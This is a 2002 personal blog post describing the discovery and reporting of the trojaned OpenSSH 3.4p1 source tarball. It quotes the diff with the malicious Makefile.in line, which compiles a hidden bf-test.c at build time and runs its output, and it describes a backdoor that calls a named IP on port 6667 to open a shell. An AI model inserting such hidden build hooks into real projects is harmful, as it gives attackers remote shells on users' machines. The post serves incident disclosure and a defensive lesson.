MavEtJu's Distorted View of the World - 2002-08

OpenSSH 3.4p1 package trojaned

Back to index

OpenSSH 3.4p1 package trojaned

Posted on 2002-08-02 03:10:23, modified on 2006-01-09 16:29:21
Tags: Computers, Memories

And all I was thinking was "Oh! I should upgrade ssh on these two machines before there are problems...". The beauty of FreeBSD is that it goes like this:

[~] edwin@k7>cd /usr/ports/security/openssh-portable
[/usr/ports/security/openssh-portable] edwin@k7>make
[/usr/ports/security/openssh-portable] edwin@k7>make install

Easy euh? It went well, except for the second step:

===>  Extracting for openssh-portable-3.4p1_7
>> Checksum mismatch for openssh-3.4p1.tar.gz.
Make sure the Makefile and distinfo file (/usr/ports/security/openssh-portable/distinfo)
are up to date.  If you are absolutely sure you want to override this
check, type "make NO_CHECKSUM=yes [other args]".
*** Error code 1

Euh... I didn't remember seeing a change in the FreeBSD ports regarding this. And I didn't see an announcement for it from the people from OpenSSH... Oh well, it happens. I downloaded the new openssh-tarball:

-r--r--r--   1 12187    mirror     840574 Jul 31 16:47 openssh-3.4p1.tar.gz
-r--r--r--   1 12187    mirror        232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig

That's weird, they've rerolled the tarball without updating the signature file. Curious as I was, I extracted the old and new tarball and this were the differences:

[~/test] edwin@k7>diff -r -u openssh-3.4p1-old openssh-3.4p1
diff -r -u openssh-3.4p1-old/openbsd-compat/Makefile.in openssh-3.4p1/openbsd-compat/Makefile.in
--- openssh-3.4p1-old/openbsd-compat/Makefile.in        Wed Feb 20 07:27:57 2002
+++ openssh-3.4p1/openbsd-compat/Makefile.in    Thu Feb  1 08:52:03 2001
@@ -26,6 +26,7 @@
        $(CC) $(CFLAGS) $(CPPFLAGS) -c $<
  
 all: libopenbsd-compat.a
+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &
 
 $(COMPAT): ../config.h
 $(OPENBSD): ../config.h
Only in openssh-3.4p1/openbsd-compat: bf-test.c

At this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, also a checksum mismatch. Time to go deeper into it...

bf-test.c is a weird file. It talks about HP-UX PL.2 systems, it talks about _CRAY notes, it talkes about none-T3E machines, it talks about _ILP64__ and it does an epcdic2ascii() call. I'm not very skilled in computers (well, I am :-) but if people are talking about HP-UX, Cray, ILP64 and epcdic2ascii(), I know it's either too difficult for me (You are not supposed to understand this) or it's bullshit (We can charge the phaser-array via a shortwave link through the warpcore). Time to startup vmware and run the experiment: gcc -o bf-test bf-test.c.

bf-test itself is pretty harmless, it only prints things to the screen (remember the change in the makefile? execute, redirect the output and execute the output). The shell script it prints creates a C program and tries to compile it. If it doesn't succeed at first, it tries to link other libraries (everybody who has ever ported a Solaris knows that you have to explicitely link to libresolv et al). So it's cross-platform :-)

The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.

While analyzing the code on #sage-au and mentioning the hostname, ^Sarge^ looked strangely at me (well, it's IRC so you never know but that's what I would do): "That is my machine.". The good news is that I didn't have to worry about finding out who manages the machine!

The next step is to inform somebody who manages the openssh-packages: The OpenBSD team. Up to right now, I have had no experience with the OpenBSD team (if you check my website you'll see that I'm more a FreeBSD guy :-). The head-guy of the OpenBSD team is living in Canada and they're now sleeping there. I've spend a couple of days on #freebsd on irc.openprojects.net, so I just tried #openbsd.

*** MavEtJu has joined #openbsd
<MavEtJu> Euh... anybody from the openssh-team here?
<MavEtJu> I have some news for you...
<marius> What's up?

I have contact! Marius asked me the standard questions (how did you find out, how can I see it, when did you find out) and after some investigation he said "I think I'd better call Provos[ed. I think it was Provos, I am not sure about it]". Coolies! I think I found a right person to talk to! It looks like things are going to roll now, I can take my hands of it.

ssh.gif The last things I did were writing some emails to a couple of mailinglists and guide ^Sarge^ to #openbsd. For the rest I wasn't of very much use anymore, so I just kept monitoring #openbsd. And the logfile of my website, which went ballistic.

Aftermath

  • The portable version wasn't the only which was trojaned, the normal version was also.
  • It seems it took only six hours before somebody was alert enough to see that there was something wrong, all thanks to the checking of the MD5-checksum [insert a sweet 'aaaaaahhh' here]
  • OpenSSH itself wasn't trojaned, the tarball was. There is nothing wrong with OpenSSH itself (this time :-)
  • The building of a port (under FreeBSD at least) is done as root with all its privileges. This is a wrong approach. For a time I tried, as an experiment, to build ports as user "port". This worked fine except for the "make clean" part, in which I couldn't remove the files created during the "make install" phase and the files which were made during the building of the RUN_DEPENDS ports.
  • See my scrapbook

No comments | Share on Facebook | Share on Twitter